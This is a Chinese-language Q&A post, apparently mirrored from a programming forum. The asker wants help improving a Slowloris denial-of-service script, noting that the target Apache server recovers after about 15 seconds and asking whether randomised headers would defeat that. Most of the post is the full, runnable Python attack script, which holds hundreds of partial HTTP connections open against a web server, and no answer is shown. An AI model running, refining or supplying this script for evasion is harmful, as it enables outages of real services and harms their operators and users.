首页 > 解决方案 > 慢 Lorris 需要随机标题?

问题描述

我正在尝试为我的学习修改一个缓慢的 lorris 脚本,现有的脚本写得很好并且效果很好 - 最初

当攻击第一次开始时,它会导致网络服务器挂起 -太棒了

但大约 15 秒后,页面再次响应,好像攻击已被阻止

这可能是因为攻击每次都使用相同的标头信息并且网络服务器会通知吗?

--

除了在 ubuntu 上安装了 3 年的 apache 中包含的任何安全模块之外,该服务器没有任何安全模块

    import socket, random, time, sys

headers = [
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Accept-language: en-US,en"
]

sockets = []
ip = "192.168.0.40"

def setupSocket(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(4)
    sock.connect((ip, 80))
    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

    for header in headers:
        sock.send("{}\r\n".format(header).encode("utf-8"))

    return sock

if __name__ == "__main__":

    ip = "192.168.0.40"
    count = 350
    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

    for _ in range(count):
        try:
            print("Socket {}".format(_))
            sock = setupSocket(ip)
        except socket.error:
            break

        sockets.append(sock)

    while True:
        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

        for sock in list(sockets):
            try:
                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
            except socket.error:
                sockets.remove(sock)

        for _ in range(count - len(sockets)):
            print("Re-opening closed sockets...")
            try:
                sock = setupSocket(ip)
                if sock:
                    sockets.append(sock)
            except socket.error:
                break

        time.sleep(15)
setupSocket(ip)

标签: pythonddos

解决方案


推荐阅读